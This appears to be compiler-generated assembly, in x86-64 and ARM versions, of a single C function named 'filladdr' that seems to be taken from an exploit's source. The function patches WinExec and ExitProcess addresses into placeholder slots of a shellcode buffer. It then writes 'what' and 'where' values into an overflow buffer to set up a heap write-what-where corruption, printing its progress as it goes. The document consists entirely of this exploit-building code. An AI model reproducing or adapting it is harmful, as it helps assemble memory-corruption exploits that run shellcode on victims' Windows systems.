	.file	"extr_272.c_filladdr.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"-> WinExec() is at: 0x%08x\n"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC1:
	.string	"-> ExitProcess() is at: 0x%08x\n"
	.align 8
.LC2:
	.string	"-> 'what' == 0x%08x at offset %d\n"
	.align 8
.LC3:
	.string	"-> 'where' == 0x%08x at offset %d\n"
	.align 8
.LC4:
	.string	"-> Filling in WinExec at offset: %d\n"
	.align 8
.LC5:
	.string	"-> Filling in ExitProcess at offset: %d\n"
	.align 8
.LC6:
	.string	"-> 'index' == 0x%08x at offset %d\n"
	.text
	.p2align 4
	.globl	filladdr
	.type	filladdr, @function
filladdr:
.LFB0:
	.cfi_startproc
	endbr64
	push	r15
	.cfi_def_cfa_offset 16
	.cfi_offset 15, -16
	lea	rdi, .LC0[rip]
	xor	eax, eax
	push	r14
	.cfi_def_cfa_offset 24
	.cfi_offset 14, -24
	push	r13
	.cfi_def_cfa_offset 32
	.cfi_offset 13, -32
	push	r12
	.cfi_def_cfa_offset 40
	.cfi_offset 12, -40
	push	rbp
	.cfi_def_cfa_offset 48
	.cfi_offset 6, -48
	push	rbx
	.cfi_def_cfa_offset 56
	.cfi_offset 3, -56
	sub	rsp, 8
	.cfi_def_cfa_offset 64
	mov	rbp, QWORD PTR WinExec[rip]
	mov	r14, QWORD PTR ExitProcess[rip]
	mov	r12d, DWORD PTR INDEX[rip]
	mov	r13d, DWORD PTR IDXOFF[rip]
	mov	esi, ebp
	call	printf@PLT
	xor	eax, eax
	mov	esi, r14d
	lea	rdi, .LC1[rip]
	call	printf@PLT
	mov	rbx, QWORD PTR shellcode[rip]
	cmp	BYTE PTR [rbx], 0
	jne	.L2
	jmp	.L7
	.p2align 4,,10
	.p2align 3
.L5:
	cmp	rax, 1499027801
	je	.L15
.L6:
	add	rbx, 1
	cmp	BYTE PTR [rbx], 0
	je	.L7
.L2:
	mov	rax, QWORD PTR [rbx]
	cmp	rax, 1482184792
	jne	.L5
	mov	rsi, rbx
	lea	rdi, .LC4[rip]
	xor	eax, eax
	sub	rsi, QWORD PTR shellcode[rip]
	call	printf@PLT
	mov	rax, rbp
	mov	QWORD PTR [rbx], rbp
	cmp	rax, 1499027801
	jne	.L6
.L15:
	mov	rsi, rbx
	xor	eax, eax
	sub	rsi, QWORD PTR shellcode[rip]
	add	rbx, 1
	lea	rdi, .LC5[rip]
	call	printf@PLT
	mov	QWORD PTR -1[rbx], r14
	cmp	BYTE PTR [rbx], 0
	jne	.L2
	.p2align 4,,10
	.p2align 3
.L7:
	movsx	rax, DWORD PTR OFFSET[rip]
	mov	esi, DWORD PTR what[rip]
	movsx	r15, r12d
	lea	rdi, .LC2[rip]
	movsx	rbx, DWORD PTR HSIZE[rip]
	lea	r14, .LC6[rip]
	mov	rdx, rax
	add	rbx, rax
	xor	eax, eax
	add	rbx, QWORD PTR buff[rip]
	call	printf@PLT
	movsx	rax, DWORD PTR what[rip]
	mov	esi, DWORD PTR where[rip]
	lea	rdi, .LC3[rip]
	mov	QWORD PTR [rbx], rax
	mov	eax, DWORD PTR OFFSET[rip]
	lea	edx, 4[rax]
	xor	eax, eax
	call	printf@PLT
	mov	eax, DWORD PTR where[rip]
	movsx	rbp, DWORD PTR HSIZE[rip]
	sub	eax, 4
	cdqe
	mov	QWORD PTR 4[rbx], rax
	movsx	rax, r13d
	xor	ebx, ebx
	add	rbp, rax
	mov	eax, DWORD PTR RANGE[rip]
	add	rbp, QWORD PTR buff[rip]
	test	eax, eax
	jle	.L1
	.p2align 4,,10
	.p2align 3
.L3:
	mov	esi, r12d
	lea	edx, 0[r13+rbx]
	xor	eax, eax
	mov	rdi, r14
	sub	esi, ebx
	call	printf@PLT
	mov	rax, r15
	sub	rax, rbx
	mov	QWORD PTR 0[rbp+rbx], rax
	add	rbx, 4
	cmp	DWORD PTR RANGE[rip], ebx
	jg	.L3
.L1:
	add	rsp, 8
	.cfi_def_cfa_offset 56
	pop	rbx
	.cfi_def_cfa_offset 48
	pop	rbp
	.cfi_def_cfa_offset 40
	pop	r12
	.cfi_def_cfa_offset 32
	pop	r13
	.cfi_def_cfa_offset 24
	pop	r14
	.cfi_def_cfa_offset 16
	pop	r15
	.cfi_def_cfa_offset 8
	ret
	.cfi_endproc
.LFE0:
	.size	filladdr, .-filladdr
	.comm	where,4,4
	.comm	what,4,4
	.comm	shellcode,8,8
	.comm	buff,8,8
	.comm	WinExec,8,8
	.comm	RANGE,4,4
	.comm	OFFSET,4,4
	.comm	INDEX,4,4
	.comm	IDXOFF,4,4
	.comm	HSIZE,4,4
	.comm	ExitProcess,8,8
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_272.c_filladdr.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"-> WinExec() is at: 0x%08x\012\000"
	.align	2
.LC1:
	.ascii	"-> ExitProcess() is at: 0x%08x\012\000"
	.align	2
.LC2:
	.ascii	"-> 'what' == 0x%08x at offset %d\012\000"
	.align	2
.LC3:
	.ascii	"-> 'where' == 0x%08x at offset %d\012\000"
	.align	2
.LC4:
	.ascii	"-> Filling in WinExec at offset: %d\012\000"
	.align	2
.LC5:
	.ascii	"-> Filling in ExitProcess at offset: %d\012\000"
	.align	2
.LC6:
	.ascii	"-> 'index' == 0x%08x at offset %d\012\000"
	.text
	.align	2
	.global	filladdr
	.syntax unified
	.arm
	.fpu softvfp
	.type	filladdr, %function
filladdr:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	ldr	r3, .L15
	ldr	ip, .L15+4
	ldr	r8, [r3]
	ldr	r2, .L15+8
	ldr	r3, .L15+12
	ldr	r9, [r2]
	ldr	r3, [r3]
	ldr	r2, [ip]
	sub	sp, sp, #12
	mov	r1, r8
	ldr	r0, .L15+16
	ldr	r5, .L15+20
	str	r3, [sp]
	str	r2, [sp, #4]
	bl	printf
	mov	r1, r9
	ldr	r0, .L15+24
	bl	printf
	ldr	r4, [r5]
	ldrb	r3, [r4]	@ zero_extendqisi2
	cmp	r3, #0
	beq	.L7
	ldr	r6, .L15+28
	ldr	fp, .L15+32
	ldr	r7, .L15+36
	ldr	r10, .L15+40
	b	.L2
.L5:
	cmp	r1, r7
	beq	.L14
.L6:
	ldrb	r1, [r4, #1]!	@ zero_extendqisi2
	cmp	r1, #0
	beq	.L7
.L2:
	ldr	r1, [r4]
	cmp	r1, r6
	bne	.L5
	ldr	r1, [r5]
	mov	r0, fp
	sub	r1, r4, r1
	bl	printf
	mov	r1, r8
	cmp	r1, r7
	str	r8, [r4]
	bne	.L6
.L14:
	ldr	r1, [r5]
	mov	r0, r10
	sub	r1, r4, r1
	bl	printf
	str	r9, [r4]
	ldrb	r1, [r4, #1]!	@ zero_extendqisi2
	cmp	r1, #0
	bne	.L2
.L7:
	ldr	r9, .L15+44
	ldr	r10, .L15+48
	ldr	r6, .L15+52
	ldr	r2, [r9]
	ldr	r4, [r10]
	ldr	r8, .L15+56
	ldr	r1, [r6]
	ldr	r0, .L15+60
	add	r4, r2, r4
	ldr	r7, [r8]
	ldr	fp, .L15+64
	bl	printf
	ldr	r2, [r9]
	ldr	r3, [r6]
	ldr	r1, [fp]
	str	r3, [r7, r4]
	add	r2, r2, #4
	ldr	r0, .L15+68
	bl	printf
	ldr	r9, .L15+72
	ldr	r2, [fp]
	ldr	r1, [r9]
	sub	r2, r2, #4
	add	r4, r7, r4
	ldr	r3, [r10]
	str	r2, [r4, #4]
	ldr	r2, [sp]
	cmp	r1, #0
	add	r3, r2, r3
	ldr	r2, [r8]
	ble	.L1
	add	r8, r2, r3
	mov	r4, r8
	ldr	r1, [sp, #4]
	ldr	r10, .L15+76
	add	r6, r1, r2
	ldr	r1, [sp]
	add	r6, r6, r3
	sub	r5, r1, r2
	sub	r5, r5, r3
.L8:
	sub	r7, r6, r4
	add	r2, r5, r4
	mov	r1, r7
	mov	r0, r10
	bl	printf
	ldr	r2, [r9]
	str	r7, [r4], #4
	sub	r3, r4, r8
	cmp	r2, r3
	bgt	.L8
.L1:
	add	sp, sp, #12
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L16:
	.align	2
.L15:
	.word	WinExec
	.word	INDEX
	.word	ExitProcess
	.word	IDXOFF
	.word	.LC0
	.word	shellcode
	.word	.LC1
	.word	1482184792
	.word	.LC4
	.word	1499027801
	.word	.LC5
	.word	OFFSET
	.word	HSIZE
	.word	what
	.word	buff
	.word	.LC2
	.word	where
	.word	.LC3
	.word	RANGE
	.word	.LC6
	.size	filladdr, .-filladdr
	.comm	where,4,4
	.comm	what,4,4
	.comm	shellcode,4,4
	.comm	buff,4,4
	.comm	WinExec,4,4
	.comm	RANGE,4,4
	.comm	OFFSET,4,4
	.comm	INDEX,4,4
	.comm	IDXOFF,4,4
	.comm	HSIZE,4,4
	.comm	ExitProcess,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
